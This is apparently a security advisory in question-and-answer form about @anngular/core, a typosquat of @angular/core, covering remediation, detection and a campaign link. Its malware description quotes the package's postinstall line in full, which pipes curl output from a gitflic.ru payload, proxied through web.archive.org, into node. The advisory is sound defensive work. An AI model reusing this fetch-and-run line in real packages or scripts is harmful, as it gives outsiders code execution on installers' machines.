Which versions of @anngular/core are malicious?

The following npm versions of @anngular/core are flagged malicious: 22.2.1. Treat any of these as compromised.

How do I remediate @anngular/core if I installed it?

@anngular/core is a typosquat — you almost certainly intended a legitimately-named package. Remove @anngular/core, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed @anngular/core — how do I know if it already compromised me?

If @anngular/core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is @anngular/core part of a known attack campaign?

Yes — @anngular/core is associated with the IN-MAL-2026-020993 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @anngular/core across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for @anngular/core (version 22.2.1).

What this malware does

Package name @anngular/core (double-n) impersonates @angular/core, copying its description 'Angular - the core framework' and author 'angular'. package.json declares a postinstall lifecycle script: curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node. On npm install, this unconditionally fetches an unpinned JavaScript payload from a non-publisher gitflic.ru repository (proxied through web.archive.org to evade host-based filtering) and pipes it directly into node, giving the operator of that gitflic.ru project arbitrary code execution on the installer's machine. The payload is not shipped with the package, is not integrity-pinned, and can be mutated at any time by whoever controls the gitflic.ru project.
